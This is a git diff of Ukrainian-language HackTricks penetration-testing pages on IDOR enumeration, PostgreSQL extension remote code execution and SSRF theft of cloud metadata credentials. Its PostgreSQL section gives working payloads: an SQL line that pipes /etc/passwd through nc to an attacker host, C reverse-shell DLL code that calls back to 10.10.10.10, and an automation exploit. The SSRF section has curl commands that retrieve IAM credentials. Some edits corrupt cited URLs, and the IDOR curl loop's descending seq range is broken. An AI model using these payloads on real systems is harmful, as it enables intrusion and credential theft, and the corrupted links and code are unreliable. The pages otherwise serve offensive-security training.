## Автоматичні команди HackTricks
|
||||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
|||||||
---
|
---
|
||||||
## Посилання
|
## Посилання
|
||||||
|
|
||||||
- RFC 8915 – *Безпека часу мережі для протоколу часу мережі* (порт 4460) citeturn11search0
|
- RFC 8915 – *Безпека часу мережі для протоколу часу мережі* (порт 4460)
|
||||||
- RFC 8633 – *Протокол часу мережі BCP* citeturn8search0
|
- RFC 8633 – *Протокол часу мережі BCP*
|
||||||
- Звіт Cloudflare про DDoS 2024 Q4 (5.6 Tbps) citeturn5search0
|
- Звіт Cloudflare про DDoS 2024 Q4 (5.6 Tbps)
|
||||||
- Стаття Cloudflare про *Атаку посилення NTP* citeturn5search1
|
- Стаття Cloudflare *Атака посилення NTP*
|
||||||
- NTP 4.2.8p15 серія CVE 2023-04 citeturn1search4
|
- NTP 4.2.8p15 серія CVE 2023-04
|
||||||
- Записи NVD **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
- Записи NVD **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||||
- Оновлення безпеки SUSE chrony 2024 (chrony 4.5) citeturn2search2
|
- Оновлення безпеки SUSE chrony 2024 (chrony 4.5)
|
||||||
- Чернетка Khronos/Chronos (зменшення зсуву часу) citeturn9search1
|
- Чернетка Khronos/Chronos (зменшення зсуву часу)
|
||||||
- Посібник chronyc/приклади для віддаленого моніторингу citeturn3search0turn10search1
|
- Посібник chronyc/приклади для віддаленого моніторингу
|
||||||
- Документація модуля ntp zgrab2 citeturn7search0
|
- Документація модуля zgrab2 ntp
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include /banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -1,5 +1,85 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
# IDOR (Insecure Direct Object Reference)
|
||||||
|
|
||||||
**Перевірте пост: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з'являється, коли веб-або API-інтерфейс розкриває або приймає ідентифікатор, контрольований користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, що викликач має право** отримати доступ/змінити цей об'єкт. Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад, читання або зміну даних інших користувачів і, у найгіршому випадку, повне захоплення облікового запису або масове витікання даних.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 1. Визначення потенційних IDOR
|
||||||
|
|
||||||
|
1. Шукайте **параметри, які посилаються на об'єкт**:
|
||||||
|
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||||
|
* Запит: `?id=42`, `?invoice=2024-00001`
|
||||||
|
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
|
||||||
|
* Заголовки / Куки: `X-Client-ID: 4711`
|
||||||
|
2. Віддавайте перевагу кінцевим точкам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||||
|
3. Зверніть увагу, коли ідентифікатори є **послідовними або передбачуваними** – якщо ваш ID `64185742`, то `64185741` ймовірно існує.
|
||||||
|
4. Досліджуйте приховані або альтернативні потоки (наприклад, *"Члени команди Paradox"* посилання на сторінках входу), які можуть розкрити додаткові API.
|
||||||
|
5. Використовуйте **авторизовану сесію з низькими привілеями** і змініть лише ID **зберігаючи той же токен/куку**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
|
||||||
|
|
||||||
|
### Швидке ручне втручання (Burp Repeater)
|
||||||
|
```
|
||||||
|
PUT /api/lead/cem-xhr HTTP/1.1
|
||||||
|
Host: www.example.com
|
||||||
|
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"lead_id":64185741}
|
||||||
|
```
|
||||||
|
### Автоматизована енумерація (Burp Intruder / цикл curl)
|
||||||
|
```bash
|
||||||
|
for id in $(seq 64185742 64185700); do
|
||||||
|
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-H "Cookie: auth=$TOKEN" \
|
||||||
|
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||||
|
done
|
||||||
|
```
|
||||||
|
---
|
||||||
|
## 2. Реальний випадок – Платформа чат-бота McHire (2025)
|
||||||
|
|
||||||
|
Під час оцінки порталу рекрутингу **McHire**, що працює на базі Paradox.ai, було виявлено наступний IDOR:
|
||||||
|
|
||||||
|
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||||
|
* Authorization: кукі сесії користувача для **будь-якого** тестового облікового запису ресторану
|
||||||
|
* Body parameter: `{"lead_id": N}` – 8-значний, **послідовний** числовий ідентифікатор
|
||||||
|
|
||||||
|
Зменшуючи `lead_id`, тестувальник отримав довільні дані про кандидатів **повні PII** (ім'я, електронна пошта, телефон, адреса, переваги зміни) плюс споживчий **JWT**, який дозволяв перехоплення сесії. Перерахування діапазону `1 – 64,185,742` виявило приблизно **64 мільйони** записів.
|
||||||
|
|
||||||
|
Запит для підтвердження концепції:
|
||||||
|
```bash
|
||||||
|
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-d '{"lead_id":64185741}'
|
||||||
|
```
|
||||||
|
Об'єднано з **дефолтними адміністративними обліковими даними** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних на рівні компанії.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 3. Вплив IDOR / BOLA
|
||||||
|
* Горизонтальна ескалація – читання/оновлення/видалення даних **інших користувачів**.
|
||||||
|
* Вертикальна ескалація – користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
|
||||||
|
* Масовий витік даних, якщо ідентифікатори є послідовними (наприклад, ID заявників, рахунки).
|
||||||
|
* Захоплення облікового запису шляхом крадіжки токенів або скидання паролів інших користувачів.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 4. Заходи та найкращі практики
|
||||||
|
1. **Забезпечити авторизацію на рівні об'єкта** для кожного запиту (`user_id == session.user`).
|
||||||
|
2. Віддавати перевагу **непрямим, непередбачуваним ідентифікаторам** (UUIDv4, ULID) замість автоінкрементних ID.
|
||||||
|
3. Виконувати авторизацію **на стороні сервера**, ніколи не покладатися на приховані поля форм або елементи управління UI.
|
||||||
|
4. Реалізувати перевірки **RBAC / ABAC** в центральному проміжному програмному забезпеченні.
|
||||||
|
5. Додати **обмеження швидкості та ведення журналу** для виявлення перерахування ID.
|
||||||
|
6. Тестувати безпеку кожної нової кінцевої точки (модульне, інтеграційне та DAST тестування).
|
||||||
|
|
||||||
|
---
|
||||||
|
## 5. Інструменти
|
||||||
|
* **Розширення BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||||
|
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||||
|
* **Проекти на Github**: `bwapp-idor-scanner`, `Blindy` (масове полювання на IDOR).
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||||
|
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||||
|
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||||
|
{{#include /banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -1,20 +1,20 @@
|
|||||||
# RCE з PostgreSQL Розширеннями
|
# RCE з розширеннями PostgreSQL
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Розширення PostgreSQL
|
## Розширення PostgreSQL
|
||||||
|
|
||||||
PostgreSQL був розроблений з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення так, ніби це вбудовані функції. Ці розширення, по суті, бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
|
PostgreSQL було розроблено з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення так, ніби це вбудовані функції. Ці розширення, по суті, бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
|
||||||
|
|
||||||
З версії 8.1 і далі на бібліотеки розширень накладається специфічна вимога: вони повинні бути скомпільовані з особливим заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних і потенційно безпечних розширень.
|
З версії 8.1 і далі на бібліотеки розширень накладається специфічна вимога: їх потрібно компілювати з особливим заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних і потенційно безпечних розширень.
|
||||||
|
|
||||||
Також пам'ятайте, що **якщо ви не знаєте, як** [**завантажити файли на жертву, зловживаючи PostgreSQL, вам слід прочитати цей пост.**](big-binary-files-upload-postgresql.md)
|
Також пам'ятайте, що **якщо ви не знаєте, як** [**завантажити файли на жертву, зловживаючи PostgreSQL, вам слід прочитати цей пост.**](big-binary-files-upload-postgresql.md)
|
||||||
|
|
||||||
### RCE в Linux
|
### RCE в Linux
|
||||||
|
|
||||||
**Для отримання додаткової інформації перегляньте: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
**Для отримання додаткової інформації дивіться: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||||
|
|
||||||
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументований і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
Виконання системних команд з PostgreSQL 8.1 та раніших версій є процесом, який чітко задокументовано і є простим. Можна використовувати цей: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||||
```sql
|
```sql
|
||||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||||
@ -73,15 +73,15 @@ $$ LANGUAGE 'plpgsql';
|
|||||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||||
```
|
```
|
||||||
Ця помилка пояснюється в [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
Ця помилка пояснюється в [документації PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||||
|
|
||||||
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажений у несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з файлів виходу модуля, після того як ви включили заголовок fmgr.h:
|
> Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажено в несумісний сервер, PostgreSQL перевіряє, що файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок є обов'язковим з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки в одному) з файлів виходу модуля, після того як ви включили заголовок fmgr.h:
|
||||||
>
|
>
|
||||||
> `#ifdef PG_MODULE_MAGIC`\
|
> `#ifdef PG_MODULE_MAGIC`\
|
||||||
> `PG_MODULE_MAGIC;`\
|
> `PG_MODULE_MAGIC;`\
|
||||||
> `#endif`
|
> `#endif`
|
||||||
|
|
||||||
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна містити специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
|
З версії PostgreSQL 8.2 процес для зловмисника, щоб експлуатувати систему, став більш складним. Зловмисник повинен або використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL і повинна включати специфічний "магічний блок". Цей захід значно ускладнює експлуатацію систем PostgreSQL, оскільки вимагає глибшого розуміння архітектури системи та сумісності версій.
|
||||||
|
|
||||||
#### Скомпілюйте бібліотеку
|
#### Скомпілюйте бібліотеку
|
||||||
|
|
||||||
@ -176,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
|
|||||||
SELECT remote_exec('calc.exe', 2);
|
SELECT remote_exec('calc.exe', 2);
|
||||||
DROP FUNCTION remote_exec(text, integer);
|
DROP FUNCTION remote_exec(text, integer);
|
||||||
```
|
```
|
||||||
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверс-оболонку:
|
В [**тут** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ви можете знайти цей реверсний шелл:
|
||||||
```c
|
```c
|
||||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||||
@ -254,7 +254,7 @@ int32 arg = PG_GETARG_INT32(0);
|
|||||||
PG_RETURN_INT32(arg + 1);
|
PG_RETURN_INT32(arg + 1);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** виконає **зворотний шелл**:
|
Зверніть увагу, що в цьому випадку **зловмисний код знаходиться всередині функції DllMain**. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто **завантаження DLL** призведе до **виконання** зворотного шеллу:
|
||||||
```c
|
```c
|
||||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||||
```
|
```
|
||||||
@ -262,11 +262,11 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
|
|||||||
|
|
||||||
### RCE в нових версіях Prostgres
|
### RCE в нових версіях Prostgres
|
||||||
|
|
||||||
У **останніх версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних директорій, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на \*nix системах. Ці директорії **захищені** від операцій запису як для облікових записів NETWORK_SERVICE, так і для postgres.
|
У **найновіших версіях** PostgreSQL були введені обмеження, згідно з якими `superuser` **заборонено** **завантажувати** файли спільних бібліотек, за винятком певних директорій, таких як `C:\Program Files\PostgreSQL\11\lib` на Windows або `/var/lib/postgresql/11/lib` на системах \*nix. Ці директорії **захищені** від операцій запису як для облікових записів NETWORK_SERVICE, так і для postgres.
|
||||||
|
|
||||||
Незважаючи на ці обмеження, автентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у директорію `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
|
Незважаючи на ці обмеження, аутентифікований `superuser` бази даних може **записувати бінарні файли** у файлову систему, використовуючи "великі об'єкти". Ця можливість поширюється на запис у директорію `C:\Program Files\PostgreSQL\11\data`, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
|
||||||
|
|
||||||
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по директоріях** у директорію даних. Відповідно, автентифікований атакуючий може **використати цей перехід** для запису файлу спільної бібліотеки у директорію даних, а потім **завантажити його**. Цей експлойт дозволяє атакуючому виконувати довільний код, досягаючи виконання нативного коду на системі.
|
Суттєва вразливість виникає з команди `CREATE FUNCTION`, яка **дозволяє перехід по директоріях** у директорію даних. Відповідно, аутентифікований зловмисник може **використати цей перехід** для запису файлу спільної бібліотеки у директорію даних, а потім **завантажити його**. Цей експлойт дозволяє зловмиснику виконувати довільний код, досягаючи виконання нативного коду на системі.
|
||||||
|
|
||||||
#### Потік атаки
|
#### Потік атаки
|
||||||
|
|
||||||
@ -283,9 +283,9 @@ select connect_back('192.168.100.54', 1234);
|
|||||||
```
|
```
|
||||||
_Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._
|
_Зверніть увагу, що вам не потрібно додавати розширення `.dll`, оскільки функція створення додасть його._
|
||||||
|
|
||||||
Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
Для отримання додаткової інформації **прочитайте**[ **оригінальну публікацію тут**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||||
У цій публікації **цей був** [**код, використаний для генерації розширення postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
|
У цій публікації **був наведений** [**код для генерації розширення postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій_).\
|
||||||
На тій же сторінці було надано **цей експлойт для автоматизації** цієї техніки:
|
На тій же сторінці був наданий цей **експлойт для автоматизації** цієї техніки:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys
|
import sys
|
||||||
|
|||||||
@ -6,14 +6,14 @@
|
|||||||
|
|
||||||
### Зловживання SSRF в середовищі AWS EC2
|
### Зловживання SSRF в середовищі AWS EC2
|
||||||
|
|
||||||
**Точка доступу до метаданих** може бути доступна зсередини будь-якої машини EC2 і пропонує цікаву інформацію про неї. Вона доступна за адресою: `http://169.254.169.254` ([інформація про метадані тут](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
**Точка доступу до метаданих** може бути доступна з будь-якої машини EC2 і пропонує цікаву інформацію про неї. Вона доступна за адресою: `http://169.254.169.254` ([інформація про метадані тут](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||||
|
|
||||||
Існує **2 версії** точки доступу до метаданих. **Перша** дозволяє **доступ** до точки через **GET** запити (тому будь-який **SSRF може це експлуатувати**). Для **версії 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), потрібно запитати **токен**, надіславши **PUT** запит з **HTTP заголовком**, а потім використовувати цей токен для доступу до метаданих з іншим HTTP заголовком (тому це **складніше зловживати** з SSRF).
|
Існує **2 версії** точки доступу до метаданих. **Перша** дозволяє **доступ** до точки через **GET** запити (тому будь-який **SSRF може її експлуатувати**). Для **версії 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), потрібно запитати **токен**, надіславши **PUT** запит з **HTTP заголовком**, а потім використовувати цей токен для доступу до метаданих з іншим HTTP заголовком (тому це **складніше зловживати** з SSRF).
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Зверніть увагу, що якщо екземпляр EC2 застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що унеможливлює доступ до метаданих EC2 з контейнера всередині екземпляра EC2.
|
> Зверніть увагу, що якщо екземпляр EC2 вимагає IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що унеможливлює доступ до метаданих EC2 з контейнера всередині екземпляра EC2.
|
||||||
>
|
>
|
||||||
> Більше того, **IMDSv2** також **блокує запити на отримання токена, які містять заголовок `X-Forwarded-For`**. Це зроблено для запобігання доступу до нього неправильно налаштованих зворотних проксі.
|
> Крім того, **IMDSv2** також **блокує запити на отримання токена, які містять заголовок `X-Forwarded-For`**. Це зроблено для запобігання доступу до нього неправильно налаштованих зворотних проксі.
|
||||||
|
|
||||||
Ви можете знайти інформацію про [точки доступу до метаданих у документації](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). У наступному скрипті отримується деяка цікава інформація з цього:
|
Ви можете знайти інформацію про [точки доступу до метаданих у документації](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). У наступному скрипті отримується деяка цікава інформація з цього:
|
||||||
```bash
|
```bash
|
||||||
@ -90,11 +90,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||||||
```
|
```
|
||||||
Зверніть увагу на **aws_session_token**, це необхідно для роботи профілю.
|
Зверніть увагу на **aws_session_token**, це необхідно для роботи профілю.
|
||||||
|
|
||||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) можна використовувати з виявленими обліковими даними, щоб дізнатися про ваші привілеї та спробувати підвищити привілеї.
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) можна використовувати з виявленими обліковими даними, щоб дізнатися ваші привілеї та спробувати підвищити привілеї.
|
||||||
|
|
||||||
### SSRF в AWS ECS (Container Service) облікові дані
|
### SSRF в AWS ECS (Container Service) облікові дані
|
||||||
|
|
||||||
**ECS** - це логічна група EC2-екземплярів, на яких ви можете запускати додаток, не масштабуючи свою власну інфраструктуру управління кластерами, оскільки ECS управляє цим за вас. Якщо вам вдасться скомпрометувати службу, що працює в **ECS**, **метадані кінцеві точки змінюються**.
|
**ECS** - це логічна група EC2-екземплярів, на яких ви можете запускати додаток, не масштабуючи свою власну інфраструктуру управління кластерами, оскільки ECS управляє цим за вас. Якщо вам вдасться скомпрометувати службу, що працює в **ECS**, **метадані змінюються**.
|
||||||
|
|
||||||
Якщо ви отримуєте доступ до _**http://169.254.170.2/v2/credentials/\<GUID>**_, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно **знайти \<GUID>**. Щоб знайти \<GUID>, вам потрібно прочитати змінну **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** всередині машини.\
|
Якщо ви отримуєте доступ до _**http://169.254.170.2/v2/credentials/\<GUID>**_, ви знайдете облікові дані машини ECS. Але спочатку вам потрібно **знайти \<GUID>**. Щоб знайти \<GUID>, вам потрібно прочитати змінну **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** всередині машини.\
|
||||||
Ви можете прочитати її, експлуатуючи **Path Traversal** до `file:///proc/self/environ`\
|
Ви можете прочитати її, експлуатуючи **Path Traversal** до `file:///proc/self/environ`\
|
||||||
@ -102,12 +102,12 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||||||
```bash
|
```bash
|
||||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Зверніть увагу, що в **деяких випадках** ви зможете отримати доступ до **метаданих екземпляра EC2** з контейнера (перевірте обмеження TTL IMDSv2, згадані раніше). У цих сценаріях з контейнера ви могли б отримати доступ як до IAM ролі контейнера, так і до IAM ролі EC2.
|
> Зверніть увагу, що в **деяких випадках** ви зможете отримати доступ до **метаданих екземпляра EC2** з контейнера (перевірте обмеження TTL IMDSv2, згадані раніше). У цих сценаріях з контейнера ви могли б отримати доступ як до IAM ролі контейнера, так і до IAM ролі EC2.
|
||||||
|
|
||||||
### SSRF для AWS Lambda
|
### SSRF для AWS Lambda
|
||||||
|
|
||||||
У цьому випадку **облікові дані зберігаються в змінних середовища**. Отже, щоб отримати до них доступ, вам потрібно отримати доступ до чогось на зразок **`file:///proc/self/environ`**.
|
У цьому випадку **облікові дані зберігаються в змінних середовища**. Отже, щоб отримати до них доступ, вам потрібно отримати доступ до чогось на кшталт **`file:///proc/self/environ`**.
|
||||||
|
|
||||||
**Назви** **цікавих змінних середовища**:
|
**Назви** **цікавих змінних середовища**:
|
||||||
|
|
||||||
@ -115,7 +115,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||||||
- `AWS_SECRET_ACCESS_KEY`
|
- `AWS_SECRET_ACCESS_KEY`
|
||||||
- `AWS_ACCES_KEY_ID`
|
- `AWS_ACCES_KEY_ID`
|
||||||
|
|
||||||
Більше того, на додаток до облікових даних IAM, функції Lambda також мають **дані події, які передаються функції під час її запуску**. Ці дані доступні функції через [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) і можуть містити **чутливу** **інформацію** (наприклад, всередині **stageVariables**). На відміну від облікових даних IAM, ці дані доступні через стандартний SSRF за адресою **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
Більше того, на додаток до облікових даних IAM, функції Lambda також мають **дані події, які передаються функції під час її запуску**. Ці дані надаються функції через [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) і можуть містити **чутливу** **інформацію** (наприклад, всередині **stageVariables**). На відміну від облікових даних IAM, ці дані доступні через стандартний SSRF за адресою **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Зверніть увагу, що **облікові дані lambda** знаходяться всередині **змінних середовища**. Тому, якщо **стек викликів** коду lambda виводить змінні середовища, можливо **екстрагувати їх, викликавши помилку** в додатку.
|
> Зверніть увагу, що **облікові дані lambda** знаходяться всередині **змінних середовища**. Тому, якщо **стек викликів** коду lambda виводить змінні середовища, можливо **екстрагувати їх, викликавши помилку** в додатку.
|
||||||
@ -141,11 +141,11 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||||||
|
|
||||||
### SSRF URL для Google Cloud
|
### SSRF URL для Google Cloud
|
||||||
|
|
||||||
Потрібен HTTP заголовок **`Metadata-Flavor: Google`** і ви можете отримати доступ до кінцевої точки метаданих за наступними URL:
|
Вимагає HTTP заголовок **`Metadata-Flavor: Google`** і ви можете отримати доступ до кінцевої точки метаданих за допомогою наступних URL:
|
||||||
|
|
||||||
- http://169.254.169.254
|
- [http://169.254.169.254](http://169.254.169.254)
|
||||||
- http://metadata.google.internal
|
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||||
- http://metadata
|
- [http://metadata](http://metadata)
|
||||||
|
|
||||||
Цікаві кінцеві точки для витягування інформації:
|
Цікаві кінцеві точки для витягування інформації:
|
||||||
```bash
|
```bash
|
||||||
@ -325,9 +325,9 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Azure VM може мати прикріплену 1 системну керовану ідентичність та кілька користувацьких керованих ідентичностей. Це в основному означає, що ви можете **видавати себе за всі керовані ідентичності, прикріплені до VM**.
|
> Azure VM може мати прикріплену 1 системну керовану ідентичність та кілька користувацьких керованих ідентичностей. Це в основному означає, що ви можете **видавати себе за всі керовані ідентичності, прикріплені до VM**.
|
||||||
>
|
>
|
||||||
> При запиті токена доступу до кінцевої точки метаданих, за замовчуванням служба метаданих використовуватиме **системну призначену керовану ідентичність** для генерації токена, якщо така є. У випадку, якщо є лише **ОДНА користувацька призначена керована ідентичність**, то вона буде використовуватися за замовчуванням. Однак, якщо немає системної призначеної керованої ідентичності і є **кілька користувацьких призначених керованих ідентичностей**, тоді служба метаданих поверне помилку, вказуючи, що є кілька керованих ідентичностей, і необхідно **вказати, яку використовувати**.
|
